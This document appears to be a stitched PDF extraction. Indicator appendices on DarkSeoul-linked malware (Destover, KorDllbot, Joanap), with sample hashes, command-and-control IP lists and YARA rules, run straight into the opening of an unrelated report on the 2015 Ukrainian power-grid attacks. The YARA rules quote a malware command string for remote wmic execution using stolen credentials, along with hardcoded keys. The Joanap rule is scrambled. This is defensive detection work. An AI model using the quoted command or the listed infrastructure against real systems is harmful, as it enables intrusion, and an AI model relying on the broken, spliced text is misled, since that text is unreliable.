9e226a5eb4de19fcb3f7ecc3abcf52ea22a1f1a42a08dd104f5f7a00164e074e Yahoo IM backdoor exe 041605e498bb41b07d2d43003152cc2a992e7e2ade7a47ee9aef2570bdb16d94 Yahoo IM backdoor exe 82fe3a8f2248643505e8de1977b734f97eb38225e6d3df6ea8f906430514b4f5 Yahoo IM backdoor exe Group: a02925c39912b68a4a0555246a031abb 08203b4ddc9571418b2631ebbc50bea57a00eadf4d4c28bd882ee8e831577a19 Joanap dropper, backdoor and SMB worm Group: f487c2cfd330cf8e4f9171672d99cecd 8e3c3398353931c513c32330c07f65b6ee6f62fc7a56edac7cbe4edb1bf4c74e KorDllbot backdoor dropper bb4204dd059849848e9492523ce32520bf37cb80974320c0ca71f3b79e83f462 Downloader and backdoor 2f8c448bb05ed1218e638c61bb56ebb953b962ed5e065b08fa03cfcf6f6a1c68 Downloader and backdoor Group: e4046a19ef86378a43907279d072e5fb f98c67c4cf9b02acaabb555664a0d9d648a1e43f681f9bf234af066d5451be8d KorDllbot 1.05.2 downloader and backdoor Group: 33f8c3f1b7df61b949ed876422818bb1 1226d3635c1a216be9316c9dfa97f103c79ed4c44397e5e675d3b1e37786bf31 KorDllbot backdoor Group: de85322cb067a1aa41af54c2de87fb03 c5baece9978649659220af2681a3a43b83f8ae47afdd3862185d1fec7735a7d2 Dropped KorDllbot component a4b982d4e7137d7d3687f3127e6d5c2a8b2be1f53daeebce9175461c7e6a53cd KorDllbot backdoor dropper 9bcecd6afa54eb4f343b7eb82a86ceee189cc10bc91fa83f8cdc98cc5aaef117 KorDllbot backdoor dropper, disguised as a Korean Windows hotpatch Group: dde039353663cdb14337e6793ca2a8cf b7f2595dd62d1174ce6e5ddf43bf2b42f7001c7a4ec3c4cbe3359e30c674ed83 KorDllbot backdoor Group: 940888706c199a8342ef85eb60fecbb6 b039383a19e3da74a5a631dfe4e505020a5c5799578187e4ccc016c22872b246 KorDllbot backdoor service installer f4a06dd6ebfd0805d445f45ce33d7bba4a33c561111c39a347024069a78169e9 KorDllbot backdoor service 3acaea01fd79484d5a72c72e1b9c2fbf391145fb1533c17a8a83e897d8777f82 Removes backdoor service 81067f057d523fdcddf7df1da39a7c3614c45f6bff6bd387274c049244efda3b Removes backdoor service Group: 7940994b304aa1ac4d2d64e6b7b8890d 218ee208323dc38ebc7f63dba73fac5541b53d7ce1858131fa3bfd434003091d KorDllbot backdoor service installer 73edc54abb3d6b8df6bd1e4a77c373314cbe99a660c8c6eea770673063f55503 KorDllbot backdoor service Group: 328e8fb5f3ec48894f6af0eb0a821d01 6d5d706f5356e087f5961ba2ed808c51876d15c2e09eb081618767b36b1d012f KorDllbot backdoor service Group: 7301505ed41ad49a4b379588d64be787 7a538c3eed1f01b62a19226750c1369e4e9210b1331d5829ca91fe2b69087f06 Downloader 6059cb08489170aea77caf0940131e5765b153a593e76d93a0f244e89ddb9e90 Uploader e97a8909349a072ed945899fbe276fc27e9c5847bc578b0abccf017da3fd680c Dropper for 7a538c3eed1f01b62a19226750c1369e4e9210b1331d5829ca91fe2b69087f06 Group: f0eeae68ca747c804b6a1d078525ebd1 c4852ddba88e5c53a8711c4c7540b7ac98dac6b9e31d10dd999a81a4f0e117c3 KorDllbot backdoor service 3ebb3d8292a1aa5dc81b028beeefdec0f0448516d6225b336ee37d550ab8c3ab KorDllbot backdoor service Group: 61fd3dc8a14f3a9f4ffbb82b6b9165c2 87e68055959328d857b287e797896d9a96695b69ed300a843eee73319427b3b3 KorDllbot 1.03 backdoor service 94e14a85a2046b40842f6c898c5f6c3200de3d89c178a9a9f9a639c1d3de9ee9 KorDllbot 1.04.4 backdoor Group: 00f70a83e7c9fbb54ea74e8bbc14c609 cd8c729da299b29618819afeef8b2a79451e6c3d35dea3769ef638c649c69001 KorDllbot 1.04.4 backdoor service Group: b46daf51cd766faa487311beac043847 9d9889585f1a4048a3955d3a9cead2f426a509afaeacad27540382cc3266f0fa KorDllbot backdoor service Group: 10cc28f0b769aba64fe81a0cd640122f 888844c040be9d0fc3dab00dd004aa9e8619f939aff2eba21e4f48ca20e13784 KorDllbot 1.2 backdoor service Group: db8c962c5c8366854f9b052dab52d54a d7044a35e76543a03cd343d71652c7bbd9a28e246d7f3a43f4a2e75cd0ef7366 Group: 206f156f15bb3c814f24bebf69ec04c7 KorDllbot 1.04.5 backdoor service 50974c15a546e961fbee8653e5725960a77b79e0f7c8eadf3b6d35ba3a46dd57 KorDllbot backdoor service Group: 7c4a1d98042a2d814c93e8d8f78ee6fe bfb5fa2a09ac60efcc0e9f05e781bd22cae0b8f6ba356d7819285f073845a0eb KorDllbot 1.03 backdoor service Group: 888ba4e41cd689a14ee48b2dbe87428e 9bc8fe605a4ad852894801271efd771da688d707b9fbe208106917a0796bbfdc KorDllbot service dropper. Drops 0a27acaaebc7db0878239b40ab9d2feff13888839c05a03348fc09b78de6ced5 7b171a160cb2a17f87ca6a4a1c62b4cd9e718f987b7278d3effe0614b5b51be4 KorDllbot service dropper. Drops 0a27acaaebc7db0878239b40ab9d2feff13888839c05a03348fc09b78de6ced5 0a27acaaebc7db0878239b40ab9d2feff13888839c05a03348fc09b78de6ced5 KorDllbot backdoor service APPENDIX: MALWARE HASHES KorDllbot-related samples 87bae4517ff40d9a8800ba4d2fa8d2f9df3c2e224e97c4b3c162688f2b0d832e fd95e095658314c9815df6a97558897cb344255bd54d03c965fa4cbd16d7bafd 82169a2d8f15680c93e1436687538afa01d6a2ecfe7a7cb613817c64a1a82342 792b484ac94f0baefc7e016895373ba92c2927e3463f62adb701ddbe4c90604c 162d6223c1c1219ca81a77e60e6b776058517272fe7cac828a3f64dcacd87811 56e0b1794a588e330e32a10813cdc9904e472c55f17dd6c8de341aeaf837d077 c16a66c1d8e681e962f03728411230fe7c618b7294c143422005785d3a724ec4 57b4c2e71f46fe3e7811a80d19200700c15dd358bdf9d9fdf61f1c9a669f7b4b 2d9edf45988614f002b71899740d724008e9a808efad00fa79760b31e0a08073 006e0cc29697db70b2d4319f320aa0e52f78bf876646f687aa313e8ba04e6992 dda136bc51670e57a4b2f091f83ab7b44291a9323d5483abd9e91b78221e027f 163571bd56001963c4dcb0650bb17fa23ba23a5237c21f2401f4e894dfe4f50d 3d2a7ea04d2247b49e2dcad63a179ae6a47237eddbfd354082f1417a63e9696e ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781 6e8a2329567cdbbba68460ccb97209867d7508983cb638662b33bfe90d0134d4 af7b53ce584b83085488e1190e1458948eaf767631f766e446354d0d5523e9d0 69300a42e055f68a8057192077fbbef3be5b66514ea9ca258b077c5c7e9417a9 e0cd4eb8108dab716f3c2e94e6c0079051bfe9c7c2ed4fcbfdd16b4dd1c18d4d 96c35225dc4cac65cc43a6cc6cdcce3d13b3bda286c8c65cad5f2879f696ad2a 29355f6d4341089b36834b4a941ef96b3bf758a4fe35fbb401cc4e74b9b1c90f 9e226a5eb4de19fcb3f7ecc3abcf52ea22a1f1a42a08dd104f5f7a00164e074e 041605e498bb41b07d2d43003152cc2a992e7e2ade7a47ee9aef2570bdb16d94 82fe3a8f2248643505e8de1977b734f97eb38225e6d3df6ea8f906430514b4f5 08203b4ddc9571418b2631ebbc50bea57a00eadf4d4c28bd882ee8e831577a19 8e3c3398353931c513c32330c07f65b6ee6f62fc7a56edac7cbe4edb1bf4c74e bb4204dd059849848e9492523ce32520bf37cb80974320c0ca71f3b79e83f462 2f8c448bb05ed1218e638c61bb56ebb953b962ed5e065b08fa03cfcf6f6a1c68 f98c67c4cf9b02acaabb555664a0d9d648a1e43f681f9bf234af066d5451be8d 1226d3635c1a216be9316c9dfa97f103c79ed4c44397e5e675d3b1e37786bf31 c5baece9978649659220af2681a3a43b83f8ae47afdd3862185d1fec7735a7d2 a4b982d4e7137d7d3687f3127e6d5c2a8b2be1f53daeebce9175461c7e6a53cd 9bcecd6afa54eb4f343b7eb82a86ceee189cc10bc91fa83f8cdc98cc5aaef117 b7f2595dd62d1174ce6e5ddf43bf2b42f7001c7a4ec3c4cbe3359e30c674ed83 b039383a19e3da74a5a631dfe4e505020a5c5799578187e4ccc016c22872b246 f4a06dd6ebfd0805d445f45ce33d7bba4a33c561111c39a347024069a78169e9 3acaea01fd79484d5a72c72e1b9c2fbf391145fb1533c17a8a83e897d8777f82 81067f057d523fdcddf7df1da39a7c3614c45f6bff6bd387274c049244efda3b 218ee208323dc38ebc7f63dba73fac5541b53d7ce1858131fa3bfd434003091d 73edc54abb3d6b8df6bd1e4a77c373314cbe99a660c8c6eea770673063f55503 6d5d706f5356e087f5961ba2ed808c51876d15c2e09eb081618767b36b1d012f 7a538c3eed1f01b62a19226750c1369e4e9210b1331d5829ca91fe2b69087f06 6059cb08489170aea77caf0940131e5765b153a593e76d93a0f244e89ddb9e90 e97a8909349a072ed945899fbe276fc27e9c5847bc578b0abccf017da3fd680c c4852ddba88e5c53a8711c4c7540b7ac98dac6b9e31d10dd999a81a4f0e117c3 3ebb3d8292a1aa5dc81b028beeefdec0f0448516d6225b336ee37d550ab8c3ab 87e68055959328d857b287e797896d9a96695b69ed300a843eee73319427b3b3 94e14a85a2046b40842f6c898c5f6c3200de3d89c178a9a9f9a639c1d3de9ee9 cd8c729da299b29618819afeef8b2a79451e6c3d35dea3769ef638c649c69001 9d9889585f1a4048a3955d3a9cead2f426a509afaeacad27540382cc3266f0fa 888844c040be9d0fc3dab00dd004aa9e8619f939aff2eba21e4f48ca20e13784 d7044a35e76543a03cd343d71652c7bbd9a28e246d7f3a43f4a2e75cd0ef7366 50974c15a546e961fbee8653e5725960a77b79e0f7c8eadf3b6d35ba3a46dd57 bfb5fa2a09ac60efcc0e9f05e781bd22cae0b8f6ba356d7819285f073845a0eb 9bc8fe605a4ad852894801271efd771da688d707b9fbe208106917a0796bbfdc 7b171a160cb2a17f87ca6a4a1c62b4cd9e718f987b7278d3effe0614b5b51be4 0a27acaaebc7db0878239b40ab9d2feff13888839c05a03348fc09b78de6ced5 Joanap-related samples 29b8c57226b70fc7e095bb8bed4611d923f0bcefc661ebae5182168613b497f8 66d44e2bc7495662d068051c5a687d17c7e95c8f04acb0f06248b34cd255cd25 fae77c173815b561ad02d8994d0e789337a04d9966dd27a372fd9055f1ac58b1 c1c56c7eb2f6b406df908ae822a6ea936f9cc63010ee3c206186f356f2d1aa94 4c5b8c3e0369eb738686c8a111dfe460e26eb3700837c941ea2e9afd3255981e 113d705d7736c707e06fb37ac328080b3976838d0a7b021fd5fb299896c22c7c 1a6c3e5643d7e22554ac0a543c87a2897ea4ea5a07bc080943a310a391e20713 0b860af58a9d2d7607f09022aa69508b0966a1cc8d953d3995a5fe07f8fabcac 5d73d14525ced5bdf16181f70f4d931b9c942c1ae16e318517d1cd53f4cd6ea9 c34ad273d836b2f058bbd73ea9958d272bd63f4119dacacc310bf38646ff567b 500c713aa82a11c4c33e9617cad4241fcef85661930e4986c205233759a55ae8 5f5acf76a991c1ca33855a96ec0ac77092f2909e0344657fe3acf0b2419d1eea c6d96be46ce3d616e0cb36d53c4fade7e954e74bfd2e34f9f15c4df58fc732d2 d558bb63ed9f613d51badd8fea7e8ea5921a9e31925cd163ec0412e0d999df58 006e0cc29697db70b2d4319f320aa0e52f78bf876646f687aa313e8ba04e6992 2d9edf45988614f002b71899740d724008e9a808efad00fa79760b31e0a08073 3d2a7ea04d2247b49e2dcad63a179ae6a47237eddbfd354082f1417a63e9696e ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781 f4113e30d50e0afc4fa610a3181169bb03f6766aea633ed8c0c0d1639dfc5b29 08203b4ddc9571418b2631ebbc50bea57a00eadf4d4c28bd882ee8e831577a19 a3992ed9a4273de53950fc55e5b56cc5b1327ffee59b1cea9e45679adc84d008 575028bbfd1c3aaff27967c9971176ae7038902f1a67d70def55ae8456e6166d 428cf6ec1a4c947b51ec099a656f575ce42f67737ee53f3afc3068a25adb4c0d f53e3e0b3c524471b1f064aabd0f782802abb4e29534a1b61a6b25ad8ec30e79 Destover b076e058 samples Droppers: 6e93d7bdb01af596019fa48986544ca24aa06463f17975a084b28ce9ab3cf910 e0066ddc9e6f62e687994a05027e3eaa02f6f3ad6d71d16986b757413f2fb71c Dropped components: 9ec83d39d160bf3ea4d829fa8d771d37b4f20bec3a68452dfc9283d72cee24f8 10d3ab45077f01675a814b189d0ac8a157be5d9f1805caa2c707eecbb2cbf9ac 33207f4969529ad367909e72e0f9d0a63c4d1db412e41b05a93a7184ec212af1 389ee412499fd90ef136e84d5b34ce516bda9295fa418019921356f35eb2d037 e0ce1f4b9ca61747467cee56307f9ea15dd6935f399837806f775e9b4f40e9ca 54ab7e41e64eb769b02b855504c656eaaff08b3f46d241cb369346504a372b4f 47830371f6f3d90d6a9fbe39e7f8d43a2e126090457448d0542fcbec4982afd6 Destover Volgmer samples Droppers: 37dd416ae6052369ae8373730a9189aefd6d9eb410e0017259846d10ac06bff5 87db427b1b44641d8c13be0ba0a2b2f354493578562326d335edfeb998c12802 e40a46e95ef792cf20d5c14a9ad0b3a95c6252f96654f392b4bc6180565b7b11 53e9bca505652ef23477e105e6985102a45d9a14e5316d140752df6f3ef43d2d 8fcd303e22b84d7d61768d4efa5308577a09cc45697f7f54be4e528bbb39435b Dropped components: 6dae368eecbcc10266bba32776c40d9ffa5b50d7f6199a9b6c31d40dfe7877d1 b987f7e6467704029c7784e9beb9ad3aa6e1375a661dc10b5f3d11c6a8fc1ef2 1d0999ba3217cbdb0cc85403ef75587f747556a97dee7c2616e28866db932a0d 9f177a6fb4ea5af876ef8a0bf954e37544917d9aaba04680a29303f24ca5c72c 78af649d3d6a932bcf53cfe384ce6bf9441f4d19084692b26b7e28b41f7a91bd 5d617f408622afc94b1ca4c21b0b9c3b17074d0fcd3763ee366ab8b073fc63e9 fee0081df5ca6a21953f3a633f2f64b7c0701977623d3a4ec36fff282ffe73b9 c5946116f648e346b293e2e86c24511a215ebe6db51073599bba3e523fb0d0a8 eab55bded6438cd7b8a82d6447a09bba078ded33049fca22d616a74bb2cad08f ff2eb800ff16745fc13c216ff6d5cc2de99466244393f67ab6ea6f8189ae01dd Destover Windowsupdatetracing samples Droppers: 83e507104ead804855d07bc836af4990542d1eac5ac2a8ce86f985d082199f6f d94ceade521452864ae8daae9d6b202a79d4761f755c7c769ec4e103c7c3127d bebf6266e765f7a0eefcde7c51507cc9f6e3b5d5b82a001660454e4e84f6e032 4166f6637b3b11f69cccbeb775f9ee6987a5a30475c54db189b837ee3fbbf0d1 eeb146ebbc3f144f5a6156d07322a696eead9c4895a9a6f94212d24056acd41c Destover Messagethread samples Droppers, var A 6959af7786a58dd1f06d5463d5ba472396214d9005fce8559d534533712a9121 68006e20a2f37609ffd0b244af30397e18df07483001150bcc685a9861e43d44 d8fedef123b3d386f0917f11db9fae0956ffe5b16a9aaad8805f72309437d066 Droppers, var B 2368ee0e0001599b7789d8199c7b19f362a87925118ae054309d85f960d982ec 6e3db4da27f12eaba005217eba7cd9133bc258c97fe44605d12e20a556775009 98abfcc9a0213156933ccd9cb0b85dc51f50e498dbfdec62f6a66dc0660d4d92 d36f79df9a289d01cbb89852b2612fd22273d65b3579410df8b5259b49808a39 Destover b8ac0905 X86 Service DLL sample: 696ff9dda1ce759e8ff6dd96b04c75d232e10fe03809ba8abac7317f477f7cf5 Destover b59d1659 X64 Service DLL sample: 7501c95647cef0c56e20c6d6a55de3d23f428e8878a05a603a0b37ea987a74e2 Destover e4004c1f HWP dropper documents: 3c3d2ab255daa9482fd64f89c06cdbfff3b2931e5e8e66004f93509b72cf1cc7 7d9631a62ae275c58e7ad2a3e5e4c4eac22cff46c077410ad628be6c38dd5e08 Dropper executables: ca4b4a3011947735a614a3dc43b67000d3a8deefb3fffa95b48f1d13032f2aea 31a76629115688e2675188d6f671beacfe930794d41cf73438426cc3e01cebae Dropped components: 7cea18dce8eb565264cc37bfa4dea03e87660b5cea725e36b472bafdcfe05ab1 757cd920d844fdcb04582a89b55f62b9a3e9bf73804abf94c9a9e15d06030b93 8a4f000049ad2a6c4eeac823c087b1c6e68c58b241c70341821cceccdf0f2d17 0654d112c17793c7a0026688cee569e780b989a9eb509585a977efd326dc2873 453d8bd3e2069bc50703eb4c5d278aad02304d4dc5d804ad2ec00b2343feb7a4 1f689996439db60970f4185f9cfc09f59bfe92650ba09bda38c7b1074c3e497b Destover Duuzer samples X86 samples: 029f93b7b7012777ee9fb2878d9c03b7fc68afad0b52cdc89b28a7ea501a0365 5831e614d79f3259fd48cfd5cd3c7e8e2c00491107d2c7d327970945afcb577d 6b70aa88c3610528730e5fb877415bc06a16f15373c131284d5649214cd2e96b 9b4c90ca8906e9fea63c9ea7a725db5fc66e1ca6c2a20bec2e8c1749b0000af5 b0cfaab0140f3ea9802dc6ed25bf208a2720fb590733966b7a3e9264a93a4e66 b3c0b7e355bee34cdb73d0bbdb1ba1b61797c035db31f0c82b19f9aa6a7abcc7 36844e66e5f4d802595909e2cbe90a96ad27da6b254af143b6611ab9ee85a13e 4efeea9eeae3d668897206eeccb1444d542ea537ca5c2787f13dd5dadd0e6aaa 5b28c86d7e581e52328942b35ece0d0875585fbb4e29378666d1af5be7f56b46 66df7660ddae300b1fcf1098b698868dd6f52db5fcf679fc37a396d28613e66b 72008e5f6aab8d58e4c8041cde20ee8a4d208c81e2b3770dbae247b86eb98afe 822a7be0e520bb490386ad456db01f26c0f69711b4ac61ba2cb892d5780fe38f 899ff9489dde2c5f49d6835625353bfe5ea8ca3195ca01362987a9d4bdac162d 8b50d7d93565aab87c21e42af04230a63cd076d19f8b83b063ef0f61d510adc7 90d8643e7e52f095ed59ed739167421e45958984c4c9186c4a025e2fd2be668b ac27cfa2f2a0d3d66fea709d7ebb54a3a85bf5134d1b20c49e07a21b6df6255a c5be570095471bef850282c5aaf9772f5baa23c633fe8612df41f6d1ebe4b565 ce0e43c2b9cb130cd36f1bc5897db2960d310c6e3382e81abfa9a3f2e3b781d7 facb32efc05bc8c4f3cb3baa6824db0f7effc56c02dbc52c33bafe242a1def77 763d1cb589146dd44e082060053ffbf5040830c79be004f848a9593d6be124ac 02d1d4e7acd9d3ec22588d89aed31c9a9d55547ef74fa3749659b610893f5405 47181c973a8a69740b710a420ea8f6bf82ce8a613134a8b080b64ce26bb5db93 e187811826b2c33b8b06bd2392be94a49d068da7f703ae060ee4faffde22c2fe X64 samples: 2811fdceb8a8aa03bbf59c0b01a43bd1f2aee675a8f20d38194258046987e5fa 39e53ba6984782a06188dc5797571897f336a58b8d36020e380aa6cd8f1c40a2 530a0f370f6f3b78c853d1e1a6e7105f6a0f814746d8a165c4c694a40c7ad09a 7a2a740d60bd082c1b50ab915ef86cc689ba3a25c35ac12b24e21aa118593959 eaea45f8bfb3d8ea39833d9dcdb77222365e601264575e66546910efe97cba99 ee49322ed9fb43a9a743b54cc6f0da22da1d6bc58e87be07fd2efe5e26c3ef8a ef07d6a3eb4a0047248c845be3da3282c208ede9508a48dbb8128eacc0550edf 477ca3e7353938f75032d04e232eb2c298f06f95328bca1a34fce1d8c9d12023 5a69bce8196b048f8b98f48c8f4950c8b059c43577e35d4af5f26c624140377c 89b25f9a454240a3f52de9bf6f9a829d2b4af04a7d9e9f4136f920f7e372909b a01bd92c02c9ef7c4785d8bf61ecff734e990b255bba8e22d4513f35f370fd14 b93793e3f9e0919641df0759d64d760aa3fdea9c7f6d15c47b13ecd87d48e6a9 d589043a6f460855445e35154c5a0ff9dbc8ee9e159ae880e38ca00ea2b9a94f Destover Randomdomain samples X86 samples: 92cc25e9a87765586e05a8246f7edb43df1695d2350ed921df403bdec12ad889 f2a14c5ef6669d1eb08fababb47a4b13f68ec8847511d4c90cdca507b42a5cf3 520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18 e55fff05de6f2d5d714d4c0fa90e37ef59a5ec4d90fdf2d24d1cb55e8509b065 e506987c5936380e7fe0eb1625efe48b431b942f61f5d8cf59655dc6a9afc212 2477f5e6620461b9146b32a9b49def593755ac9788fc4beeee81bf248aa2e92a f69747d654acc33299324e1da7d58a0c8a4bd2de464ec817ad201452a9fa4b54 44884565800eebf41185861133710b4a42a99d80b6a74436bf788c0e210b9f50 2f629c3c65c286c7f55929e3d0148722c768c730a7d172802afe4496c0abd683 b5e1740312b734fb70a011b6fe52c5504c526a4cccb55e154177abe21b1441c9 X64 samples: 0e162a2f07454d65eaed0c69e6c91dd10d29bdb27e0b3b181211057661683812 a53e33c77ecb6c650ee022a1311e7d642d902d07dd519758f899476dbaae3e49 c95eaedaafd8041bb0fea414b4ebc0f893f54cdec0f52978be13f7835737de2a da255866246689572474d13d3408c954b17d4cc969c45d6f45827799e97ed116 8465138c0638244adc514b2722fcb60b2a26a8756aa7d97f150e9bdc77e337cc Destover FormBoundary sample 77a32726af6205d27999b9a564dd7b020dc0a8f697a81a8f597b971140e28976 Destover BasicHwp samples HWP dropper document: 794b5e8e98e3f0c436515d37212621486f23b57a2c945c189594c5bf88821228 Droppers: c248da81ba83d9e6947c4bff3921b1830abda35fed3847effe6387deb5b8ddbb 794b5e8e98e3f0c436515d37212621486f23b57a2c945c189594c5bf88821228 fba0b8bdc1be44d100ac31b864830fcc9d056f1f5ab5486384e09bd088256dd0 Dropped components: c3f5e30b10733c2dfab2fd143ca55344345cc25e42fbb27e2c582ba086fe3326 Destover Volgmer2 samples Droppers: 1ee75106a9113b116c54e7a5954950065b809e0bb4dd0a91dc76f778508c7954 f71d67659baf0569143874d5d1c5a4d655c7d296b2e86be1b8f931c2335c0cd3 Dropped components: 96721e13bae587c75618566111675dec2d61f9f5d16e173e69bb42ad7cb2dd8a APPENDIX: C&C DATA Joanap-related C&C addresses 110.164.115.177 118.102.187.188 118.70.143.38 119.15.245.179 122.55.13.34 168.144.197.98 189.114.147.186 196.44.250.231 201.222.66.25 60.251.197.122 62.135.122.53 62.150.4.42 62.87.153.243 63.131.248.197 63.149.164.98 64.71.162.61 66.210.47.247 69.15.198.186 72.156.127.210 75.145.139.249 78.38.221.4 80.191.114.136 81.130.210.66 81.83.10.138 83.211.229.42 92.253.102.217 92.47.141.99 93.62.0.22 94.28.57.110 96.39.78.157 Volgmer C&C addresses (dynamic normal, hardcoded bold) 103.16.223.35 113.28.244.194 116.48.145.179 117.239.214.162 12.217.8.82 123.176.38.17 123.176.38.175 134.121.41.45 186.116.9.20 186.149.198.172 190.210.39.16 195.28.91.232 199.15.234.120 200.42.69.13 200.42.69.133 203.131.222.99 206.123.66.136 206.163.230.170 212.33.200.86 213.207.142.82 220.128.131.251 24.242.176.130 41.21.201.101 64.3.218.243 78.93.190.70 83.231.204.157 84.232.224.218 89.122.121.230 89.190.188.42 200.87.126.116 194.224.95.20 Destover MessageThread C&C IP addresses: 101.76.99.183 112.206.230.54 124.47.73.194 165.138.120.35 175.45.4.158 177.189.204.214 187.176.34.40 202.182.50.211 203.131.222.102 208.105.226.235 209.237.95.19 211.76.87.252 213.42.82.243 31.210.53.11 59.125.119.135 59.125.62.35 61.91.100.211 62.141.29.175 65.117.146.5 71.40.211.3 85.112.29.106 91.183.41.5 93.157.14.154 Destover WindowsUpdateTracing real C&C IP addresses (after XOR translation). Addresses in red are inferred from pDNS only (no sample). 1.202.129.201 110.78.165.32 113.10.158.4 124.81.92.85 140.134.23.140 196.36.64.50 199.83.230.236 201.22.95.127 202.9.100.206 185.20.218.28 200.55.243.150 122.179.175.224 124.123.219.216 108.166.93.13 14.141.129.116 217.128.80.228 58.137.122.226 2.224.202.27 14.2.240.20 59.125.75.217 41.38.151.7 201.203.27.170 64.206.243.35 184.180.159.183 24.77.32.241 64.228.222.61 217.8.95.250 180.26.59.158 41.41.29.214 Destover RandomDomain C&C IP addresses: 103.233.121.22 187.111.14.62 187.54.39.210 206.248.59.124 37.34.176.14 94.199.145.55 200.202.169.103 202.152.17.116 203.131.210.247 Destover Duuzer C&C IP addresses: 110.77.140.155 113.160.112.125 114.143.184.19 148.238.251.30 161.139.39.234 161.246.14.35 175.111.4.4 177.0.154.88 177.19.132.216 177.52.193.198 184.173.254.54 185.20.218.28 185.30.198.1 185.81.99.17 186.167.17.115 194.165.149.51 196.202.33.106 200.87.126.117 201.163.208.37 202.39.254.231 Destover BasicHwp C&C IP addresses: 91.183.71.18 184.20.197.204 208.87.77.153 201.216.206.49 87.101.243.252 208.69.30.151 69.54.32.30 Destover Volgmer2 C&C IP addresses: 121.170.194.185 222.236.46.5 203.113.122.163 203.115.13.105 203.170.66.206 210.211.124.229 223.255.129.230 31.210.54.14 37.148.208.67 37.58.148.34 41.21.201.107 41.76.46.182 5.22.140.93 62.0.79.45 67.229.173.226 78.38.114.213 87.101.243.246 90.80.152.49 203.132.205.250 59.90.208.171 201.25.189.114 APPENDIX: YARA RULES rule Destover : Backdoor meta: author = "Blue Coat Systems, Inc." info = "Used for attacks on Sony Pictures Entertainment and targets in South Korea" strings: $a1= "recdiscm32.exe" $a2= "taskhosts64.exe" $a3= "taskchg16.exe" $a4= "rdpshellex32.exe" $a5 ="mobsynclm64.exe" $a6 ="comon32.exe" $a7 ="diskpartmg16.exe" $a8 ="dpnsvr16.exe" $a9 ="expandmn32.exe" $a10="hwrcompsvc64.exe" $a12="cmd.exe /c wmic.exe /node:\"%s\" /user:\"%s\" /password:\"%s\" PROCESS CALL CREATE \"%s\" > %s" $a13="#99E2428CCA4309C68AAF8C616EF3306582A64513E55C786A864BC83DAFE0C78585B692047273B0E55275102C66" $a14="b8ac0905cda0360fc115f614119da76d84e2277762bd7558b2650a79013fb50138f732d5a03730d7d5b17" $a15="b076e0580463a202bad74cb9c1b85af3fb4d1be513ccca3ae8b57d193be77b4ab63802b3216d3a80b0082" $a16="bc9b75a31177587245305cd418b8df78652d1c03e9da0cfc910d6d38ee4191d40bd51483321ebe44595f7" $a17="b50a338264226b6d57c1936d9db140ba74a28930270a083353645a9b518661f4fcea160d73469b8beabc1" $a18="b59d165982e3d5721c4d40195f85aedf2a12d6616be11a2c19fa11821604edc4675bdca4f9b9cbfb27244" $a19="e4004c1f94182000103d883a448b3f802ce4b44a83301270002c20d0321cfd0011ccef784c26a400f43df" $b1 = "---------------End--------------!" $b2 = "WaitRecv End" wide condition: any of ($a*) or all of ($b*) rule Destover2 : Backdoor meta: author = "Blue Coat Systems, Inc." info = "Used for attacks on Sony Pictures Entertainment and targets in South Korea" strings: $a1 = "%sd.e%sc" fullword ascii wide $a2 = "xe" fullword ascii wide $a3 = "cm" fullword ascii wide $b1 = "%smd.e%sc" fullword ascii wide $c1 = "%sm%se%sc" fullword ascii wide $d = "ChfTime Success" ascii wide $e = {FF15????????6A3EFF75??FF15????????5985C0598D85????????50FF75??68????????68????????75} $f = "%s \"%s > %s 2>&1\"" ascii wide condition: all of ($a*) or ($b1 and $a2) or ($c1 and $a2) or $d or $e or $f rule DarkSeoul_Obf_ChopString : Backdoor meta: author = "Blue Coat Systems, Inc." info = "Obfuscation method used by the DarkSeoul group" strings: $a1={8B54240456BE????????57B91400000033C08BFEF3AB803A0074158A023C2E74073C2074038806468A42014284C075EB} condition: any of them rule DarkSeoul_Obf_BCSUB : Backdoor meta: author = "Blue Coat Systems, Inc." info = "Obfuscation method used by the DarkSeoul group" strings: $a1="pM[XpSZJ[JC{" condition: any of them rule DarkSeoul_Obf_XORA7 : Backdoor meta: author = "Blue Coat Systems, Inc." info = "Obfuscation method used by the DarkSeoul group" strings: $a1={E0C2D3F7D5C8C4E6C3C3D5C2D4D4} condition: any of them rule DarkSeoul_Obf_Caracachs : Backdoor meta: author = "Blue Coat Systems, Inc." info = "Obfuscation method used by the DarkSeoul group" strings: $a1={F3EEAEFFFBB821BF9AE3D820FDC0} condition: any of them rule DarkSeoul_Keystrings : Backdoor meta: author = "Blue Coat Systems, Inc." info = "Encryption keys used by the DarkSeoul group" strings: $a1 = "Bb102@jH4$t3hg%6&G1s*2J3gCNwVr*UeI!Dr3hytg^CHGf%ion" $a2 = "BAISEO%$2fas9vQsfvx%$" $a3 = "A39405WKELsdfirpsdLDPskDORkbLRTP12330@3$223%!" condition: any of them rule Joanap : meta: strings: condition: author = "Blue Coat Systems, Inc." info = "SMB worm family used by the DarkSeoul group" $a1="NTLMSSP" $a2="MiniDumpWriteDump" $a3="password <=14" $a4="KGS!@#$%" $b1="9025jhdho39ehe2" $b2="y@s!11yid60u7f!07ou74n001" $b3= y0uar3@s!11yid!07,ou74n60u7f001 all of ($a*) or any of ($b*) WHEN THE LIGHTS WENT OUT A CO MP REHENSI V E RE V IE W O F T HE 2 015 AT TAC K S O N U K R A INI A N C RI T I C A L INFR A S T R U C T U RE CONTENTS Executive Summary................................................................................................. 1 Introduction............................................................................................................. 3 A Regional Campaign.............................................................................................. 5 Attack Walk Through...............................................................................................11 Top 10 Takeaways: What to Consider When Protecting Your OT Environment..... 23 Conclusion ............................................................................................................. 25 Appendix A: Detailed Textual Description of Attack Walk Through...................... 29 Appendix B: Malware Samples............................................................................... 38 Appendix C: BlackEnergy Plugins........................................................................... 59 Appendix D: Alternate Remote Access Trojans...................................................... 61 Appendix E: Sources............................................................................................... 63 EXECUTIVE SUMMARY On December 23, 2015, unknown cyber actors disrupted energy-grid operations for the first time ever, a causing blackouts for over 225,000 customers in Ukraine.1 Among the most striking features of this attack were the complexity of organization and planning, the discipline in execution, and capability in many of the discrete tasks exhibited by the threat actors. Over the course of nearly a year prior to the attack, these unknown actors clandestinely established persistent access to multiple industrial networks, identified targets, and ultimately carried out a complex set of actions, which not only disrupted electricity distribution in Ukraine, but also destroyed IT systems, flooded call centers, sowed confusion, and inhibited incident response. The attackers used a malware tool, BlackEnergy 3, designed to enable unauthorized network access, then used valid user credentials to move laterally across internal systems, and ultimately shut down electricity distribution using the utilities native 